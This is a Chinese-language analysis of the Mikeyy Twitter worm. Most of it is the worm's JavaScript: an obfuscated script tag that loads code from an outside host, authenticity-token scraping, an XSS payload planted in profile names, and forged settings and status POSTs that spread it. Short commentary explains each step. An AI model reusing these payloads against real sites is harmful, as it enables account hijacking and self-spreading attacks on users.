[JavaScript] Mikeyy Twitter 蠕虫的代码研究

<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>

alert(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62))

<script src="http://www.stalkdaily.com/ajax.js"></script>

var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];

twttr.form_authenticity_token = 'd56543953fd73b4fc193ec2c1ed8361097da39c3';

var randomUpdate=new Array();
randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/[removed]";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/[removed]";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!!  http://bit.ly/[removed]";

var randomXSS=new Array();
randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[protected]=0&commit=Save");
var ajaxConn2 = new XHConn();
ajaxConn2.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=colors&profile_theme=1&user[profile_background_color]="+urlencode('## Mikeyy')+"&user[url]=Mikeyy+++++++++++++++++++++++++++++++++++++&commit=save changes");
var ajaxConn3 = new XHConn();
ajaxConn3.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[url]=Mikeyy+++++++++++++++++++++++++++++++++++++&user[protected]=0&commit=Save");
var ajaxConn4 = new XHConn();
ajaxConn4.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=colors&profile_theme=1&user[profile_background_color]="+urlencode('## Mikeyy')+"&user[name]="+xss+"&commit=save changes");

• 首先，它将 Twitter 上的状态更新为上述 7 个短语之一。
• 接下来，它更改当前用户的名称以包含蠕虫负载。现在，访问此配置文件的每个人也会感染该蠕虫。
• 然后它将背景颜色更改为 '## Mikeyy' - 并将 url 更改为 'Mikeyy '。这样做没有意义 - 不知道作者为什么选择这样做。再说一次，不要忘记作者是一个17岁的孩子。
• 它多次更改名称、背景和 url - 同样，不知道为什么这样做。
  

• V2 - 4 月 11 日，x.js
• V3 - 4 月 12 日
• V4 - 4 月 13 日，ajax.js - 上面的代码研究是在这个版本上完成的。
• V5 - 4 月 13 日，ajax.js